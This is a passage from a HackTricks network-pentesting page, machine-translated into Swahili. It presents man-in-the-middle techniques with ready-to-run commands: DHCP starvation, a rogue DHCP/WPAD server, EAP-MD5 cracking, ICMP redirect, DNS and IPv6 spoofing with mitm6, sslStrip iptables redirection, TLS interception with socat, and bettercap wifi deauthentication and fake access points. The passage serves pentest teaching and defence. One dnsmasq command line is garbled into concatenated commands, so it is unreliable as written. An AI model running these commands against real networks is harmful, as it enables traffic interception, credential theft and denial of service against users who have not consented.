<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
Njia ya kiotomatiki zaidi ya kufanya hivi ni kutumia chombo [DHCPing](https://github.com/kamorin/DHCPig)
Unaweza kutumia mashambulizi ya DoS yaliyotajwa kulazimisha wateja kupata mikataba mipya ndani ya mazingira, na kuchoma seva halali ili ziwe zisijibu. Hivyo wakati halali wanapojaribu kuungana tena, **unaweza kutoa thamani mbaya zilizotajwa katika shambulio linalofuata**.
#### Weka thamani mbaya
Seva ya DHCP isiyo halali inaweza kuanzishwa kwa kutumia skripti ya DHCP iliyoko katika `/usr/share/responder/DHCP.py`. Hii ni muhimu kwa mashambulizi ya mtandao, kama vile kukamata trafiki ya HTTP na akidi, kwa kuhamasisha trafiki kwa seva mbaya. Hata hivyo, kuweka lango la uasi ni chini ya ufanisi kwani inaruhusu tu kukamata trafiki inayotoka kutoka kwa mteja, ikikosa majibu kutoka kwa lango halisi. Badala yake, kuanzisha seva ya DNS isiyo halali au WPAD inashauriwa kwa shambulio lenye ufanisi zaidi.
Hapa chini kuna chaguo za amri za kuunda seva ya DHCP isiyo halali:
- **Anuani Yetu ya IP (Tangazo la Lango)**: Tumia `-i 10.0.0.100` kutangaza anuani ya IP ya mashine yako kama lango.
- **Jina la Kikoa la DNS la Mitaa**: Kwa hiari, tumia `-d example.org` kuweka jina la kikoa la DNS la mitaa.
- **Anuani ya IP ya Router/Lango la Awali**: Tumia `-r 10.0.0.1` kubainisha anuani ya IP ya router au lango halali.
- **Anuani ya IP ya Seva ya DNS Kuu**: Tumia `-p 10.0.0.100` kuweka anuani ya IP ya seva ya DNS isiyo halali unayodhibiti.
- **Anuani ya IP ya Seva ya DNS ya Pili**: Kwa hiari, tumia `-s 10.0.0.1` kuweka anuani ya IP ya seva ya DNS ya pili.
- **Netmask ya Mtandao wa Mitaa**: Tumia `-n 255.255.255.0` kufafanua netmask kwa mtandao wa mitaa.
- **Kiunganishi kwa Trafiki ya DHCP**: Tumia `-I eth1` kusikiliza trafiki ya DHCP kwenye kiunganishi maalum cha mtandao.
- **Anuani ya Mipangilio ya WPAD**: Tumia `-w “http://10.0.0.100/wpad.dat”` kuweka anuani ya mipangilio ya WPAD, kusaidia katika kukamata trafiki ya wavuti.
- **Danganya Anuani ya IP ya Lango la Kawaida**: Jumuisha `-S` kudanganya anuani ya IP ya lango la kawaida.
- **Jibu kwa Maombi Yote ya DHCP**: Jumuisha `-R` kufanya seva ijibu maombi yote ya DHCP, lakini kuwa makini kwamba hii ni kelele na inaweza kugundulika.
Kwa kutumia chaguzi hizi kwa usahihi, seva ya DHCP isiyo halali inaweza kuanzishwa ili kukamata trafiki ya mtandao kwa ufanisi.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">python</span></div>
```python
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
```
### **EAP Attacks**
Hapa kuna baadhi ya mbinu za shambulio ambazo zinaweza kutumika dhidi ya utekelezaji wa 802.1X:
- Kusaidia nguvu za siri za nywila kupitia EAP
- Kushambulia seva ya RADIUS kwa maudhui ya EAP yaliyovunjika _\*\*_(exploits)
- Kukamata ujumbe wa EAP na kuvunja nywila bila mtandao (EAP-MD5 na PEAP)
- Kulazimisha uthibitisho wa EAP-MD5 ili kupita uthibitishaji wa cheti cha TLS
- Kuingiza trafiki mbaya ya mtandao wakati wa kuthibitisha kwa kutumia hub au kitu kinachofanana
Ikiwa mshambuliaji yuko kati ya mwathirika na seva ya uthibitishaji, anaweza kujaribu kudhoofisha (ikiwa ni lazima) itifaki ya uthibitishaji hadi EAP-MD5 na kukamata jaribio la uthibitishaji. Kisha, anaweza kusaidia nguvu hii kwa kutumia:
```
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol) ni darasa la protokali za mtandao zilizoundwa ili **kuunda mfumo wa upitishaji wa ziada wa moto**. Kwa FHRP, route za kimwili zinaweza kuunganishwa kuwa kifaa kimoja cha mantiki, ambacho kinapanua uvumilivu wa makosa na kusaidia kusambaza mzigo.
**Injinia wa Cisco Systems wameunda protokali mbili za FHRP, GLBP na HSRP.**
{{#ref}}
glbp-and-hsrp-attacks.md
{{#endref}}
### RIP
Toleo tatu za Protokali ya Taarifa za Upitishaji (RIP) zinajulikana kuwepo: RIP, RIPv2, na RIPng. Datagrams zinatumwa kwa wenzake kupitia bandari 520 kwa kutumia UDP na RIP na RIPv2, wakati datagrams zinatangazwa kwa bandari ya UDP 521 kupitia multicast ya IPv6 na RIPng. Msaada wa uthibitisho wa MD5 ulianzishwa na RIPv2. Kwa upande mwingine, uthibitisho wa asili haujajumuishwa na RIPng; badala yake, kutegemea kunafanywa kwenye vichwa vya IPsec AH na ESP ndani ya IPv6.
- **RIP na RIPv2:** Mawasiliano yanafanywa kupitia datagrams za UDP kwenye bandari 520.
- **RIPng:** Inatumia bandari ya UDP 521 kwa kutangaza datagrams kupitia multicast ya IPv6.
Kumbuka kwamba RIPv2 inasaidia uthibitisho wa MD5 wakati RIPng haina uthibitisho wa asili, ikitegemea vichwa vya IPsec AH na ESP katika IPv6.
### EIGRP Attacks
**EIGRP (Enhanced Interior Gateway Routing Protocol)** ni protokali ya upitishaji wa dynamic. **Ni protokali ya distance-vector.** Ikiwa hakuna **uthibitisho** na usanidi wa interfaces za passiv, **mshambuliaji** anaweza kuingilia upitishaji wa EIGRP na kusababisha **kuharibu meza za upitishaji**. Zaidi ya hayo, mtandao wa EIGRP (kwa maneno mengine, mfumo huru) **ni tambarare na haina mgawanyiko katika maeneo yoyote**. Ikiwa **mshambuliaji anaingiza njia**, kuna uwezekano kwamba njia hii itasambaa katika mfumo huru wa EIGRP.
Kushambulia mfumo wa EIGRP kunahitaji **kuanzisha jirani na route halali ya EIGRP**, ambayo inafungua uwezekano mwingi, kutoka kwa upelelezi wa msingi hadi sindano mbalimbali.
[**FRRouting**](https://frrouting.org/) inakuwezesha kutekeleza **router ya virtual inayosaidia BGP, OSPF, EIGRP, RIP na protokali nyingine.** Unachohitaji kufanya ni kuisambaza kwenye mfumo wa mshambuliaji wako na unaweza kujiweka kama router halali katika eneo la upitishaji.
{{#ref}}
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/) ina uwezo wa kukamata matangazo ya EIGRP (Enhanced Interior Gateway Routing Protocol). Pia inaruhusu sindano ya pakiti, ambayo inaweza kutumika kubadilisha usanidi wa upitishaji.
### OSPF
Katika protokali ya Open Shortest Path First (OSPF) **uthibitisho wa MD5 mara nyingi hutumika kuhakikisha mawasiliano salama kati ya route**rs. Hata hivyo, kipimo hiki cha usalama kinaweza kuathiriwa kwa kutumia zana kama Loki na John the Ripper. Zana hizi zina uwezo wa kukamata na kuvunja hash za MD5, zikifunua funguo za uthibitisho. Mara funguo hii inapopatikana, inaweza kutumika kuingiza taarifa mpya za upitishaji. Ili kusanidi vigezo vya njia na kuanzisha funguo zilizovunjwa, tab _Injection_ na _Connection_ zinatumika, mtawalia.
- **Kukamata na Kuvunja Hash za MD5:** Zana kama Loki na John the Ripper zinatumika kwa kusudi hili.
- **Kusanidi Vigezo vya Njia:** Hii inafanywa kupitia tab _Injection_.
- **Kuweka Funguo Iliyovunjwa:** Funguo inasanidiwa chini ya tab _Connection_.
### Other Generic Tools & Sources
- [**Above**](https://github.com/c4s73r/Above): Zana ya kuchanganua trafiki ya mtandao na kupata udhaifu
- Unaweza kupata **maelezo zaidi kuhusu mashambulizi ya mtandao** [**hapa**](https://github.com/Sab0tag3d/MITM-cheatsheet).
## **Spoofing**
Mshambuliaji anasanidi vigezo vyote vya mtandao (GW, IP, DNS) vya mwanachama mpya wa mtandao kwa kutuma majibu ya DHCP ya uongo.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing
Angalia [sehemu ya awali](#arp-spoofing).
### ICMPRedirect
ICMP Redirect inajumuisha kutuma pakiti ya ICMP aina 1 msimbo 5 ambayo inaonyesha kwamba mshambuliaji ndiye njia bora ya kufikia IP. Kisha, wakati mwathirika anataka kuwasiliana na IP, atatuma pakiti kupitia kwa mshambuliaji.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
```
### DNS Spoofing
Mshambuliaji atatatua baadhi (au zote) za maeneo ambayo mwathirika anahitaji.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
**Sanidi DNS yako mwenyewe na dnsmasq**
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```
### Local Gateways
Njia nyingi za mifumo na mitandao mara nyingi zipo. Baada ya kujenga orodha ya anwani za MAC ndani ya mtandao wa ndani, tumia _gateway-finder.py_ kutambua mwenyeji wanaounga mkono IPv4 forwarding.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Kwa ajili ya kutatua mwenyeji wa ndani wakati utafutaji wa DNS haufanikiwi, mifumo ya Microsoft inategemea **Link-Local Multicast Name Resolution (LLMNR)** na **NetBIOS Name Service (NBT-NS)**. Vivyo hivyo, **Apple Bonjour** na **Linux zero-configuration** zinafanya kazi kwa kutumia **Multicast DNS (mDNS)** kwa ajili ya kugundua mifumo ndani ya mtandao. Kutokana na asili isiyo na uthibitisho ya protokali hizi na uendeshaji wao juu ya UDP, kutangaza ujumbe, zinaweza kutumiwa na washambuliaji wanaolenga kuelekeza watumiaji kwenye huduma mbaya.
Unaweza kujifanya kuwa huduma zinazotafutwa na wenyeji kwa kutumia Responder kutuma majibu ya uongo.\
Soma hapa maelezo zaidi kuhusu [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Vivinjari kwa kawaida hutumia **Web Proxy Auto-Discovery (WPAD) protocol ili kupata mipangilio ya proxy kiotomatiki**. Hii inahusisha kupata maelezo ya usanidi kutoka kwa seva, hasa kupitia URL kama "http://wpad.example.org/wpad.dat". Kugunduliwa kwa seva hii na wateja kunaweza kutokea kupitia mitindo mbalimbali:
- Kupitia **DHCP**, ambapo kugundua kunarahisishwa kwa kutumia nambari maalum ya kuingia 252.
- Kwa **DNS**, ambayo inahusisha kutafuta jina la mwenyeji lililoandikwa _wpad_ ndani ya eneo la ndani.
- Kupitia **Microsoft LLMNR na NBT-NS**, ambazo ni mitindo ya akiba inayotumika katika hali ambapo utafutaji wa DNS haufanikiwi.
Chombo cha Responder kinatumia protokali hii kwa kutenda kama **seva mbaya ya WPAD**. Kinatumia DHCP, DNS, LLMNR, na NBT-NS kuwapotosha wateja kuungana nacho. Ili kuingia kwa undani zaidi jinsi huduma zinaweza kujifananisha kwa kutumia Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
Unaweza kutoa huduma tofauti katika mtandao kujaribu **kudanganya mtumiaji** kuingiza baadhi ya **credentials za maandiko wazi**. **Maelezo zaidi kuhusu shambulio hili katika** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Neighbor Spoofing
Shambulio hili linafanana sana na ARP Spoofing lakini katika ulimwengu wa IPv6. Unaweza kumfanya mwathirika kufikiri kwamba IPv6 ya GW ina MAC ya mshambuliaji.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### IPv6 Router Advertisement Spoofing/Flooding
Baadhi ya mifumo ya uendeshaji huweka chaguo-msingi lango kutoka kwa pakiti za RA zinazotumwa kwenye mtandao. Ili kutangaza mshambuliaji kama router ya IPv6 unaweza kutumia:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCP spoofing
Kwa kawaida, baadhi ya mifumo ya uendeshaji hujaribu kuunda DNS kwa kusoma pakiti ya DHCPv6 katika mtandao. Kisha, mshambuliaji anaweza kutuma pakiti ya DHCPv6 ili kujipatia mwenyewe kama DNS. DHCP pia inatoa IPv6 kwa mwathirika.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
```
### HTTP (ukurasa wa uwongo na sindano ya JS)
## Mashambulizi ya Mtandao
### sslStrip
Kimsingi, kile ambacho shambulizi hili linafanya ni, ikiwa **mtumiaji** anajaribu **kufikia** ukurasa wa **HTTP** ambao unarejelea toleo la **HTTPS**. **sslStrip** itakuwa na **kiunganishi cha HTTP na** **mteja** na **kiunganishi cha HTTPS na** **server** ili iweze **kunusa** kiunganishi hicho kwa **maandishi wazi**.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### sslStrip+ na dns2proxy kwa ajili ya kupita HSTS
**tofauti** kati ya **sslStrip+ na dns2proxy** dhidi ya **sslStrip** ni kwamba wat **elekeza** kwa mfano _**www.facebook.com**_ **kwenda** _**wwww.facebook.com**_ (zingatia **ziada** "**w**") na wataweka **anwani ya kikoa hiki kama IP ya mshambuliaji**. Kwa njia hii, **mteja** at **unganishwa** na _**wwww.facebook.com**_ **(mshambuliaji)** lakini nyuma ya pazia **sslstrip+** it **hifadhi** **unganisho halisi** kupitia https na **www.facebook.com**.
**lengo** la mbinu hii ni **kuepuka HSTS** kwa sababu _**wwww**.facebook.com_ **hata** itahifadhiwa katika **cache** ya kivinjari, hivyo kivinjari kitaweza kudanganywa kufanya **uthibitishaji wa facebook katika HTTP**.\
Zingatia kwamba ili kufanya shambulio hili, mwathirika lazima ajaribu kufikia kwanza [http://www.faceook.com](http://www.faceook.com) na sio https. Hii inaweza kufanywa kwa kubadilisha viungo ndani ya ukurasa wa http.
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip au sslStrip+ haitumiki tena. Hii ni kwa sababu kuna sheria za HSTS zilizohifadhiwa katika vivinjari, hivyo hata kama ni mara ya kwanza kwa mtumiaji kufikia kikoa "muhimu" atakifikia kupitia HTTPS. Pia, zingatia kwamba sheria zilizohifadhiwa na sheria nyingine zilizoundwa zinaweza kutumia bendera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **hivyo mfano wa** _**wwww.facebook.com**_ **kutoka awali hautafanya kazi tena kwani** _**facebook.com**_ **inatumia HSTS na `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory
## TCP sikiliza katika bandari
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```
## TCP + SSL sikiliza katika bandari
#### Tengeneza funguo na cheti kilichojisajili mwenyewe
```
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### Sikiliza kwa kutumia cheti
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
#### Sikiliza kwa kutumia cheti na uelekeze kwa wenyeji
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
Wakati mwingine, ikiwa mteja anachunguza kwamba CA ni halali, unaweza **kutumikia cheti cha jina la mwenyeji mwingine kilichosainiwa na CA**.\
Jaribio lingine la kuvutia ni kutumikia **cheti cha jina la mwenyeji kilichohitajika lakini kilichojisaini mwenyewe**.
Mambo mengine ya kujaribu ni kujaribu kusaini cheti na cheti halali ambacho si CA halali. Au kutumia funguo halali za umma, kulazimisha kutumia algorithimu kama diffie hellman (moja ambayo haitaji kufichua chochote na funguo halisi za faragha) na wakati mteja anapohitaji kipimo cha funguo halisi za faragha (kama hash) tuma kipimo bandia na kutarajia kwamba mteja hatakagua hili.
## Bettercap
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### Maelezo ya Kugundua Kazi
Kumbuka kwamba wakati pakiti ya UDP inatumwa kwa kifaa ambacho hakina bandari iliyohitajika, ICMP (Port Unreachable) inatumwa.
### **ARP kugundua**
Pakiti za ARP zinatumika kugundua IP zipi zinatumika ndani ya mtandao. PC inapaswa kutuma ombi kwa kila anwani ya IP inayowezekana na zile tu zinazotumika zitajibu.
### **mDNS (multicast DNS)**
Bettercap inatuma ombi la MDNS (kila X ms) ikitafuta **\_services\_.dns-sd.\_udp.local** mashine inayoshuhudia pakiti hii kawaida inajibu ombi hili. Kisha, inatafuta tu mashine zinazojibu "services".
**Zana**
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
### **NBNS (NetBios Name Server)**
Bettercap inatangaza pakiti kwa bandari 137/UDP ikitafuta jina "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
### **SSDP (Simple Service Discovery Protocol)**
Bettercap inatangaza pakiti za SSDP ikitafuta huduma za kila aina (UDP Port 1900).
### **WSD (Web Service Discovery)**
Bettercap inatangaza pakiti za WSD ikitafuta huduma (UDP Port 3702).
## Marejeo
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- **Network Security Assessment: Know Your Network (toleo la 3)**
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<div class="mdbook-alerts mdbook-alerts-tip">
<p class="mdbook-alerts-title">
<span class="mdbook-alerts-icon"></span>
tip
</p>
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
<details>
<summary>Support HackTricks</summary>
- Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
- **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
- **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
</div>